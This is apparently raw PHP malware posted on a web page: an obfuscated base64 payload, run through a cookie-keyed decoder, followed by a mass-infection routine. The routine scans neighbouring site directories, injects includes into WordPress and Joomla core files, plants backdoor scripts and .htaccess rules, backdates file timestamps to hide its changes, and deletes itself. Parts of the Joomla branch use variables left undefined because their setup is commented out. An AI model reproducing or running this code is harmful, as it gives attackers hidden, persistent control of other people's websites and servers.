NkRUNVBUaVB5OGh3MlBsZW9Eb3BnNHEKRnVrTkRvT3cvL1N0Wmx4Smo1R2w1VHBObzR4VlZ3NVBkQ1BjOHZ2RmFqaisvcjl1Z2lRZEVWb25lY2ZCRjd6ZlBOR2lkVStkUkxJTFM2Uy8KNVpvL3ZSYUovSm5zTnJ1am0rS1g1ai9DQzE0bWtCdEQ3VEhjZ09nNkZnVWVzSVBoZU9DNzlNeTZHbHExeHBDcU5xNEhYL1M3TXJLQTQzUloKSDNibEo0WGVaMjFhTFR1Sk02WXNYUG5ldXRuOXpTa01MT3czS212K1R4a1pZZzlmOXRCVnVFcGo3RGF6ZkxHbWwrV0RjVlZrc3cvUTJaMEwKMGhjQ3F2ZC9nNTZmeEcySnlZeE95ekFkRjFudDA0ZnY5eWpUU2didjh5MWxPL2RpcWt1b2hOUjdLaU1ZMFU2YzBTMExrZllZT0pOMnZ0Y1kKTU9uSHdyTjhFZytRNHZzdUwxYit1ZjE2QnVvT25ia2NxbVc0Qld3TmNsMytoWGQ3MGtrZWtZVUlQWVJyRWpJSEsycTNWTWJnZUVUa1NHMW8KYmVoUU83SnY1aHpyVHRwb093TGJNa3pCa3pDcUREYzhDZmdTenA3WEh1b1JtUTREQnVvRTZmZ2ZGRFFCYXNJc0g2S1NjOGZvL3U1dXIzeVgKQUlLdmg4UVZ4clZBcHZ0OVJzeVc4bjRRZmZTZkowNlVoRHlwcHQvQ3pHaHRSbkF2Q0tuR0pJaWJLS0UzU2F3REdRM21EZXRna3hGVVJHVFcKVFZSY0c1N3c4VHQ0dUUzQ3hyK05jKzNQVlFmcmJPbWZUWStlTjM0eEJTUHlDcnBTZVNIWkJpNERKNmZCUDdTU3NvVWdzV0d3OTZBSFhhc1IKbnRqcStBZWVaZmRBQ2twN0ljc0g5MFdKN25qMTdEV216WDI2NjBrUmdSUjBUY056NnlrM0RwaWNGeS9NK1ZPalVBaG85aHNvV2lnMUViT3EKbXMxTmVFU2hMYVRwTkc0S09FWEhVN3BvZ0JWUGNMMm9rNXhRRkxBSlRPYURuV0xwVmZrTTBNa2k2N2dCSE9talhGemhOT0NJeXFZNDZrSDIKVllGRHhIQkZicXBPbS91cWZsdDdCdjNraldMaXVNSUF3aTkxTmpkZlpaNFNTZlpUUCtIZklwWndTMEs4Smo4U2orNmgxL1NNSjlCUG0yenkKR0d3QnRnWmE2Qmw2Y1pNaFZCSkJqWityOVFwdzlITTNQWUFhVUZIN0hwWXZhRXhLR1hLSzNmQmw5aXQydmpZTmFaTUE3THpqQUJVdmtlMkUKOXJVTnRhbHA2SVVrUjl6ZzJpQzYxWTBYeHZ3YVlYZ21ZRk41YzZ5aFIrMXlaa01uVmNSMUQvQ1p2aGZjMVc2Znd1c2JhYVFyTWFiQzNna0IKSW03blRWZ3NZbzFCL1FoVlJWNUlzeXo4YmsvTVdPMjBJWXJVUDYxRFFZMmhud2FNZGFUdUUzYmlJYWZnN1ZKVUIxR2txc2JkZXo3WUl3M2oKb2RWMnlvaWpJZW13YThNdUpxRExEZFNQUFdYMnNuUkZjUVVQZkp5QkV0MTRySS8zNzR5SjQ3cHc4ZDNuWm44SWNxVHhiZmcxQU1ycGtEVkMKdnZwdjZtbVhFOS9FTTdIUFRzTThhN29UaUV1OXNyamZaaUExVjN6UkJPU3hURDY1VTFmOVNUNEVWeTVXV1Y0VkRVZk40T1g3VmJBQUFSa28KRzM4Q3QyWXR5eGhTQ0IvMWExMm9ER0lWNjhGMm5Ndjh5dmFUbWt0a29pUytUcExjMEdLc3BMNU1hem13ellCS0paMkwrYVZEQVBpTjl2ZEsKWXpzKzR4eVBlK3ZMRTBBeG9sdldVT2pDV1dEdHNtQmU2OTAzNm5FOVR6THNEZldIcm1keUlmNXBKZmI4ZkxoOCtMQzN1WjZTdVRiYjBuOGgKeEJhelZsK0p3VXhzdGpFQXpjZVhCTHVWQ3BOV2pyWktIVFZTSDZ4SjVpMERwdm9FeUhRenVGT29OYVBncG1YWllMTnFyWGVZU0tDemk0cnEKUWVHT24yem94T0g2dTN2elJ0eVMzbXJGZHV5UkpoZDBsRGJrNis1M29EN2VCT212NXBXa2JLdnEwRVJZcUVWTTRNaTQ0RzBiSitScTY4MHgKZ2FRK2NEWjZJc0kwOGJXU0toUEp1enBtbWdiYXFUMXdpdWVlZXo3Z0Z4cG1sZStTOHJQZmpNcDN3RFlSaEFJZFJiTnVXME9wK3ZYckMwR2YKOWZFaFE1ZG80cnF3RWZNSllCQXlseTFvR0ttdG1Ib2J3V1RDdmtGQnFOR1Fja3I3MWJ3TkJCL0VVSW10Z28rWjBYdFFqYlBLeFAvSmozYlgKdHBNZE1pYkgvSkZBdDk2a1o0ZlZHSnkxMGs5akg2UDVTQTFoRWNBMVl6YXJ5dWdRMFlMOWVuQjBMZW5RNjRNWUFLdHhPTjlrVWNUQ3pJY1EKei9iNjJSMXRpK1Z5K29CQkttdjlNS1MrcjlYWHpvUTlVL0xYTDJCYnc0M1FkOWVKSnh1N0hHOU1jR2l3WmdEaDNraGlMRTQySUVoc0d3QjkKbzh5eFR6clU4R0ZNdm1iMTkyVDQ3bU5scjB3Z3ZJbWxIYlhYZGRqaWxWNHNtSVJNUTBub2MyQVZnN2JBaFQvOGFoTTEwMk5laU5McG1kMmQKZFY3UGpNZlRTQ2cxKzNldHlaR0Y0UlNkNnNYS2dwaytLZHgrcjRCbTJBL21PK3IvY1UxRGRsUm9qazdhUENuNHNqb2kyTFNaVEw1Q1JZSE4KdzYyN2VyekM4dE5MMkZTYndnSlJreUI0TjlicytuYU5Kb3NGRHN2NjJZY2NEQXJOYXN4aHBBVUtLd0k3QmtJcnRib1pMSVo5ek5ldW1iSDYKWW1TaC9kanlRbDBnS2YrQ2R6NlRMOXI3NDRhRi83S2ovQThWajV2TFd5NWR0ai9xNkgwVi9DZXBQK3FESTBzdTY4YUlwMmx4bEZVc05rTEUKR2dMeUhud1V1ODZxRFV3SHdBN2prbUFicmY5N001NmNoVEVKMVgySm8yQ2M2ZXUyQzBZLzE1U3lUdnc5c0dkVjIyN0l2Y0hxU01EZzdFUkoKZSttS2d1d1pvUEFyZENXWkVnQjgyeUh4ZU9HM04rQndjNnN2QTRrYld5czUxK0pQbzFmZW5zZHRWODNFQnBidDZOaW5NZVJLeHE5ZXNLblgKSEFSUWVyOGw4LzF2NElDbjdEMENnNVFlQkJlT2l0MTNOUzRuS1diZko1OEs4RjVpZzZtYWpYMnBTMGJjbndTZkNDeStDaGhZcU5pVVpPSmMKUXA2NDRQNGQrTURPRzNkNzVOeXhVQ2NvK0VMNHF6NG02VlF4bCtUZjNNN2MyTWtnbXh1ZjE0UXo5aG52R0JLUCtzV1YrUjRmTDcwWnp0UncKc1NHQkRET3J2RTZYZnBaNWNSYWlBa0JQay9uYTlLczhJSkExTEk0NmtnZjgvWnRVbVg0RDRNY3E1TERMOVQzRitXWElIL042VEhLZTM2ZlgKQXdNd0lzWEEweWhYSDlDVlJNblg1QXBCdCtQZEM2S04wQk0yUjRpVEZPbUczaUpLZG9nSzk2OWpTMUE4VDNjNjlIUW1jMUUwcVBoUGErcE8KVEtYblNUTnE3RmdDRnAvcEp0L2JlUXdHQmtwZHpVZmFiMFp0RUdpM0NNYURGZ1N3U0RCTmdFeTdPN0RtQzk0SXRPYmpGV2NzRDdpdklaL2UKVTJLaHNqWW1kUG16TEQ2Q1JKbHlkK0ZzSUY3cDlWOEVLT042UE82Q3pRU3VtejU0d0xWS3pJV3lESi9JRk42R1UwSTg2N1J5RkJLdFNJc0cKbjg4TSsvNHVuOVAwd21UbGMrTjB2eW42VWlmL2VDUTY5dnZNN0hRU1NKZmtrdjFBd1k2WFpBd3JXaFA3L1lXcExXZVg0NjhoWU14TlFtNHIKQVlXUGh5Tm54ZDhNUzVvOXlPM0syc0d0QjNaTUhybS82eXZKNmNyVjZzcVkvWWhKK3k3NXVVMzR1VkRMd2RwRElQYnZZaGF4WGpwaDRrMDUKNFRYSmRyOU9vc2EybkVaU2VtL3BiUndJTktFVlZXMnQxVXRqUFhzRExnNU9mRWR5Z0RnN3ZUdURQMWhsSkR1MnhnaGxHU1hsZk00OENlN1QKbUxqZjhmTGExY0NQS2pNanJVc3hQUnE0S3pMYlZ5WDBnMjVHbjhBL0FiR0x5T0JhL0htN1phZmxFNVloeFBSSmUyQndEdk9pUnpwTkx4UGoKcFBXemp3aUFGVHJxSURrdnZFemd2NmF2K2k0elRkZTlQbWZhN1UyUmZJQy9lbFhObXgrZDh1dGI1YysyRHlyZTZQWGIyUFE0T0tXRmFwa2MKdUJXbkpjV0VLRUlMTElBSGFOMGtFWUtIU21vaU55aVd5dm0rVU1sSW1SVWppT0lzOG9lU2tFcld0Q3VVVmVZOFhIOUFPSEJoM2xOZldGdFcKaFZIWmU1SGF5bktpajdQRzlvK3ltMy9WSmNRK3dTd04wVGZ3TUd3L2ljRnpoMDBaZ3BMaS9PU1VqWGE3SlB0Q0xCSEVnWmlWMk5WZHJBb3IKNUhvMnZaM0lreXF0YmdsUDFHeFdYM2xPN0xEVy9Dc05ZbVpFdjgxV0JyaFBYNjNZK0lkUmk1VWM5dmx2ZmdxQ1FIcTNtamF5UlNIZW1aRDYKZkh5YWN4S2NscTUwU0JCeSthNjN4OHFuZ1pUdXNKd1FhdGszM2UxUk81aXZ2MWZBVmgwTWpCb1M0emZIZ0Q5WkszY1RDYXo3d2NBcU1UL0kKRi9sb3l0MDltWVVkUlNkMlJBcXpNWWhOUTBNUUJpY09yWmN5dURCcVRJbExiVkJQYld2bitHa0xvR1UwTkVrZ1FzUksyeitLU1J3T0VwWXoKMS9abFVYQ1NzSldTZ3FEVFRhK1REdE5WdkpiTnBHOEZiaFl0dkIyWFc5U0U4aFliUWFReG1JOXlsRnN4QVhqVHdveFM3ZUpWdWc3VnU2Tk4KMnVyNmJDcDdQN2poemFma0RKVTlvMnlCUVZPTk9wdkE3ckFVV2lWTWZvc051L3BtZkpRWjdCdlJNTVVrblJHRlJocnZ1SDVVWGhCWnlCMU4KdXNCWjVIL1JWWitoVkxhenRLS1RrSlhXZ1dKTG5OWFhycVJtVHhhQ0JmVTV4TjNHN2N2eWlwRmZGR0tZSG5oSHVpQlB6VmpicDNFUVNGVVMKZVJ4em05RG9vUzVXM1RqSEtZTWV2MkpJMmVSRXB0VUtwU2lxU1h1eGVzeG1KY1dUQWpmOVBnakNNMVZwNjM5cndVNVRnWHYrZEU1cFhlcW4KYVprenZhNE9HYWExTXd4dEFHRTkvWGI5TDZGaXBiQnYrd3VIQUFldHRITldxSHlyM2NvY2VwZHo3SXVqN2RRV25rMjBGRzdZVEpLZzNhT2YKWTVaZGY4UnFpV3dxYUN1S0dRcWlWblBnMnI2UGUxWDJwOW1WWlp5Zml2SFBIZmVIU1hJeWF6VG9jc00wYUlRVTRibytkMmVDZkN2VFdrcU4KVTlUMjhTblBMdDU5Sk45NWdUelRBSTMzY2Zkb0ZlR2pNY0M5U1h1UWdTb3N5QXZqd1hYdzNwWlVaQmtQTWlMcUJvdmx6WHdyV2dPMkxXQVUKR201QkNIeGk4c1A5aDR0Q0xPenhaVkJiR2ljYU12a1ZRempxRnRBTzI1QVBCYTdHZlkyRnpnbTc3QXNLSTBDVGNPQnNxemlVYkxhZjRQTGIKODdGUHR6cUR3bUlOL2JsZStoOHo0NDFXVGtRSTRpRTFzNDcyTHpZV2NaRXJsZ3ZxT3VBYnpjNHJWcVAwNWV3bzdPMVdueXZFa1VyN3hrWmYKb3dCWHVqRlFpakdZWUwrM3pyL1hYMnJOTFVQeVJWYnFGbFppN0FMV0N0VVRVU0RWZXlQOGlueEhTcUtmRE1NcDYvUmhvQy9adHlSTE01KzUKQWs5bFN6L1p0d3hRLzJCeDhuY3dYY1U4UUlSdldKR1Q4cEpDUGNkK2dBQ2hGT1BZV0NtcUFOL0hnOERxd2xCTlZncDJXNHNqWWlTQ0NRRlAKQjluS1F6Sk9pOS9TTEJJR1JZb1RleXkvNTV3MkpCZTd4SHZ6d212S05BMHkvSUNDY2k5Y0w2Y1VuQW1CWDVheTl3ZXNQWGY2WDUyeDJaVXcKdit3ZE9NaGMyb2F5UGFoNEJLd1VBcy9KQ3VLZnhCVDM5NjdlM0JYbjloazBnamRzenhrOGlyZGNvM3JRQU1VNHlDRDJnWDExWlN1VDlqRHEKUk5tSng4MFNuczFtV0xGRVVNYUp6RnFKYVJiNktvNmsrbVpqUHd3bzRXMEpZY3pUVk9WOExxeGNFeGV1Um1tTWVOaU5YRERyMllnNWlobUcKR2tRbUU1UGdiam9PVGs4RnA3b2pJY3MvM2I3aHFTNDM1dVNvTkw0ZFM3RHI5YnJmZERvbHVrd1NGeFk0aWhqbWJxODdxaHZkdHpTZ253TmoKUXNUVjdSUUdNVWlkaVZCd3FMdFNESTIzR2poM2V6eW9jczVjemNCM0l2NnNnYnloTGFrUjlBTE1obEFBNG9LMGR3ZWlYYlFzOUlNOFdxdU0Kb3VVRDJkb0FqREI0ZXdQVWd1Z09aelRUbzBJbFRRbnhaWkk0bjhDQitCaHZWS3d3NTg2Tmc2dXRibWI2dGpmc3ltOGxTM3RJMllvcVZOYXAKWXNIejFOc3BzZGkzZWpiZGJ5RW5tK0VLbXd0SDd3RXZWVTNhczJzYVF2c1BDUTB5QWY2YkV5bmNaV2h2WnVlcTc4RitTUnNWUE0zTUo4NHoKSTU0dkV4LzdyVDNaaldjckoxUEh1MG1XVDVCRHVERHUzOUhxOENKZ2l2Mk8rZWtpZUZqRVRjcmlVMDd6M25BSjEycXBjbnpHd0orVHNka1UKd24vbmM0VGFJdlB2eE9kNEpOSnEyMWh6TTRvLzl1eEk4NTUzcHFXcFRsOUlwZXUvOC9sN05lV3lleWtTaVg3TDdDSkwvS2M3L01hbzJOMEkKVlZIZk0zOUNzamFpUlJYT2R6TThLbkhTWkRXZHdRMm5wQ0U2Y1AwbC9HMWhScXlnK1A5MVBuSkphWWRxR0VoNTZuZzFiUEZ2a2VaQ3Zkb2UKNCtsR3pwUENHZnhFWkJlNGZpNExzZGw3QlQyU3NTU285S1dQd3k2VDJuRzEwQ3l2emNVY3p5Tm5lcDJBakdVL0lUdmNnNFIxSFo4VUJaaHkKVmhSOWFqcGhOTmJFd0E5QTJZbkxRVmNwTk5obHlIQ1BvSjdFS1ZHdHZCK256TmY3V2tGellzTVF2ZWZGUUpCK25HaWlyTjBNbUNtR2U0bU4KdmZ0OGRFd2JaQTRXL1FndXRieDJQdVhPc0RqcHArdjJ4bnV3djZINVV1UVUrVGFlT1gySUJlZ3VBSFlEQ0NLZFpIWFRuT1ZxMjZ5cFc1M0YKWElzbWNSSU1wd01uWWN5NHFPRyszdUJwT0dyYWtLZVdPbHBFMm1EZGJ3RWY2NW1Bb1JxN0tMVWVhcTBNazJxSytZVHErNzVHUUJoWWd1bG8KaGp5NTM0VmxFV2dqMkU0UXhYZU9VTGRpWnQ5c1hjNkZ3djhxeVhUclg1T1NzbUNxa0RhSWtWUmhlTE96emJjMVdrTVFGdnJZaXQwZnFaNnAKNW5sTmpnclg5RUtnUjM2QXdRVGlXU1ZjOUR6czVFbERXaC9SR2U3ekdEcG1qU21RYTZlcmQ2bHRpU1I3Y2pWUGpBcHZ1RG5DSTJPRnUrejIKTDBTMXlzQjkraEtiMEkwKzJ0bkV3RVFaR2N5ZGpEUlkxMm83QWROamw4VkwwUVJCNWxLTDlPWkY3K2dKWWRPOFlMeWdPZW42Qzg0c3k3aGoKUTh6eERoandvckRaVkdJdTNHVHZqRlY3Sm9PZFZrUWtaTVJZVmdJa2hnVHBqTm10NXpmUUUzbkZiRG83TytQNkV6U05uSXR6aTd1VlRMQTEKQldXTk5Tdi9JQjlvbDVTU0V5N0VlYjRZTk0rTG5sS1dZOXZqSjh3czVhMncyUXVYSkV2cWxCOFl4ZEp0VGJ1YTI3RDIyZWRlMkgrK3JOUGMKeUZMRUJoUEx2S09RTDUrZTlGSDQ4NnFXYmhMVEx1QnNUWFdSRUZqR1oydno3cERqVGYyNlRpVVBsbXNDT25HTlFPY2o3THBTMTZSTm5tcUoKVDA3eUtPYXVJcWdsK0VydnhaK0VXc3hHQ2V5WGJTdz0KJykpO2lmKGlzc2V0KCRfQ09PS0lFWydzUCddKSl7JHdwX2xfPSRfQ09PS0lFWydzUCddOyR3cF9sXz1tZDUoJHdwX2xfKS5zdWJzdHIoTUQ1KHN0cnJldigkd3BfbF8pKSwwLHN0cmxlbigkd3BfbF8pKTtmb3IoJHdwX19fbF89MDskd3BfX19sXzwxNTU2Mzskd3BfX19sXysrKXskd3BfX2xfWyR3cF9fX2xfXT1jaHIoKCBvcmQoJHdwX19sX1skd3BfX19sX10pLW9yZCgkd3BfbF9bJHdwX19fbF9dKSklMjU2KTskd3BfbF8uPSR3cF9fbF9bJHdwX19fbF9dO31pZigkd3BfX2xfPUBnemluZmxhdGUoJHdwX19sXykpeyR3cF9fX2xfPWNyZWF0ZV9mdW5jdGlvbignJywkd3BfX2xfKTt1bnNldCgkd3BfX2xfLCR3cF9sXyk7JHdwX19fbF8oKTt9fSBAaGVhZGVyKCJTdGF0dXM6IDQwNCBOb3QgRm91bmQiKTsgPz4=');

	$spaces = '';$num=mt_rand(500,800);for($i=0;$i<$num;$i++){$spaces.=' ';}

    $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
    
	$flag = false;
    if (do_backdoor($root_path)) $flag = true;
    $domains = get_domains($root_path, $_SERVER['HTTP_HOST']);

    foreach ($domains as $domain_path)
	{
		$tmp = explode('/', $domain_path);
		$domain_name = (count($tmp) > 0)? $tmp[count($tmp) - 1]: '';

		if (do_backdoor($domain_path)) { $flag = true; }
		if (do_backdoor($domain_path.'/httpdocs')) { $flag = true; }
		if (do_backdoor($domain_path.'/docs')) { $flag = true; }
		if (do_backdoor($domain_path.'/public_html')) { $flag = true; }
	}

    last_word($flag? 'Success!': 'Failed!');

function last_word($string)
{
	unlink(__FILE__);
	die($string);
}

function get_domains($root_path, $exclude_domain)
{
	$domains = array();
	foreach (@glob($root_path.'/../*', GLOB_ONLYDIR) as $dir)
	{
		/*$tmp = explode('/', $dir);
		$dir_name = (count($tmp) > 0)? $tmp[count($tmp) - 1]: '';
		if ( (strpos(strtolower($dir_name), '.') !== false) && (strpos(strtolower($dir_name), str_replace('www.', '', $exclude_domain)) === false) )
		{
			$domains[] = $dir;
		}*/
		$domains[] = $dir;
	}

	foreach (@glob($root_path.'/../../*', GLOB_ONLYDIR) as $dir)
	{
		$domains[] = $dir;
	}

	foreach (@glob($root_path.'/*', GLOB_ONLYDIR) as $dir)
	{
		$domains[] = $dir;
	}

	return $domains;
}

function do_backdoor($root_path)
{
	global $htaccess;
	global $save_template;
	global $revolution;
	global $include_joomla;
	global $include_wordpress;
	global $wso;
	global $backdoor;
	global $spaces;

	

    if (is_dir($root_path.'/wp-admin/includes/'))
    {
		/*
        $general_path = $root_path.'/wp-includes/general-template.php';
        chmod(dirname($general_path), 0755);
        chmod($general_path, 0644);

        $general_content_original = file_get_contents($general_path);

        $general_content = $general_content_original."\n".$save_template;
        file_put_contents($general_path, $general_content);
        chmod($general_path, 0644);

        $status = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?saveyourfuckingtemplate');
        if (strpos($status, 'Success!') === false)
    	{
    		$status = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/saveyourfuckingtemplate');
    	}
        if (strpos($status, 'Success!') === false)
    	{
    		$status = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/saveyourfuckingtemplate/');
    	}
        file_put_contents($general_path, $general_content_original);
        chmod($general_path, 0644);

        touch($general_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
        touch(dirname($general_path), time() - mt_rand(60*60*24*30, 60*60*24*365));
		*/
        

        $load_path = $root_path.'/wp-includes/load.php';
        chmod(dirname($load_path), 0755);
        chmod($load_path, 0644);

        $load_content_original = file_get_contents($load_path);
        if (strpos($load_content_original, $include_wordpress) === false)
        {
        	$load_content = str_replace('function is_admin', "$spaces$include_wordpress\nfunction is_admin", $load_content_original);
		    file_put_contents($load_path, $load_content);
        	chmod($load_path, 0644);
	        touch($load_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
	        touch(dirname($load_path), time() - mt_rand(60*60*24*30, 60*60*24*365));
        }

        $revolution_path = $root_path.'/wp-admin/includes/class-wp-text.php';
        file_put_contents($revolution_path, $revolution);
        chmod($revolution_path, 0644);
        touch($revolution_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
        touch(dirname($revolution_path), time() - mt_rand(60*60*24*30, 60*60*24*365));

		$status = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?checker-page');

        if (strpos($status, 'Success!') === false)
       	{
	        file_put_contents($load_path, $load_content_original);
        	chmod($load_path, 0644);
		    touch($load_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
		    touch(dirname($load_path), time() - mt_rand(60*60*24*30, 60*60*24*365));
	        return false;
	    } else
	    {
        	$backdoor_path = $root_path.'/wp-admin/maint/wp-maint.php';
	        chmod(dirname($backdoor_path), 0755);
	        chmod($backdoor_path, 0644);
        	file_put_contents($backdoor_path, $backdoor);
	        touch($backdoor_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
	        touch(dirname($backdoor_path), time() - mt_rand(60*60*24*30, 60*60*24*365));

        	$htaccess_path = $root_path.'/.htaccess';
	        chmod(dirname($htaccess_path), 0755);
	        chmod($htaccess_path, 0644);

	        $htaccess_content_original = file_get_contents($htaccess_path);

	        if (strpos($htaccess_content_original, $htaccess) === false)
	        {
		        $htaccess_content = $htaccess."\n".$htaccess_content_original;
		        file_put_contents($htaccess_path, $htaccess_content);
        		chmod($htaccess_path, 0644);
		        touch($htaccess_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
		        touch(dirname($htaccess_path), time() - mt_rand(60*60*24*30, 60*60*24*365));
		    }
	        return true;
	    }
    }
    
    if (is_dir($root_path.'/libraries/joomla/application/'))
    {
		/*
        $framework_path = $root_path.'/includes/framework.php';
        chmod(dirname($framework_path), 0755);
        chmod($framework_path, 0644);

        $framework_content_original = file_get_contents($framework_path);

        $framework_content = $framework_content_original."\n".$save_template;
        file_put_contents($framework_path, $framework_content);
        chmod($framework_path, 0644);

        $status = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?saveyourfuckingtemplate');
        file_put_contents($framework_path, $framework_content_original);
        chmod($framework_path, 0644);
        touch($framework_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
        touch(dirname($framework_path), time() - mt_rand(60*60*24*30, 60*60*24*365));
		*/
		
        if (strpos($framework_content_original, $include_joomla) === false)
        {
	    	$framework_content = "<?php $spaces$include_joomla ?>".$framework_content_original;
		    file_put_contents($framework_path, $framework_content);
        	chmod($framework_path, 0644);
	        touch($framework_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
	        touch(dirname($framework_path), time() - mt_rand(60*60*24*30, 60*60*24*365));
	    }

        $revolution_path = $root_path.'/libraries/joomla/application/joomla-app.php';
        file_put_contents($revolution_path, $revolution);
        chmod($revolution_path, 0644);
        touch($revolution_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
        touch(dirname($revolution_path), time() - mt_rand(60*60*24*30, 60*60*24*365));

		$status = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?checker-page');

        if (strpos($status, 'Success!') === false)
       	{
	        file_put_contents($framework_path, $framework_content_original);
        	chmod($framework_path, 0644);
		    touch($framework_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
		    touch(dirname($framework_path), time() - mt_rand(60*60*24*30, 60*60*24*365));
	        return false;
	    } else
	    {
        	$backdoor_path = $root_path.'/libraries/phputf8/phputf.php';
	        chmod(dirname($backdoor_path), 0755);
	        chmod($backdoor_path, 0644);
        	file_put_contents($backdoor_path, $backdoor);
	        touch($backdoor_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
	        touch(dirname($backdoor_path), time() - mt_rand(60*60*24*30, 60*60*24*365));

	        $htaccess_path = $root_path.'/.htaccess';
	        chmod(dirname($htaccess_path), 0755);
	        chmod($htaccess_path, 0644);

	        $htaccess_content_original = file_get_contents($htaccess_path);

	        if (strpos($htaccess_content_original, $htaccess) === false)
	        {
		        $htaccess_content = $htaccess."\n".$htaccess_content_original;
		        file_put_contents($htaccess_path, $htaccess_content);
        		chmod($htaccess_path, 0644);
		        touch($htaccess_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
		        touch(dirname($htaccess_path), time() - mt_rand(60*60*24*30, 60*60*24*365));
		    }
	        return true;
	    }
    }
}

Leave a Reply

Your email address will not be published. Required fields are marked *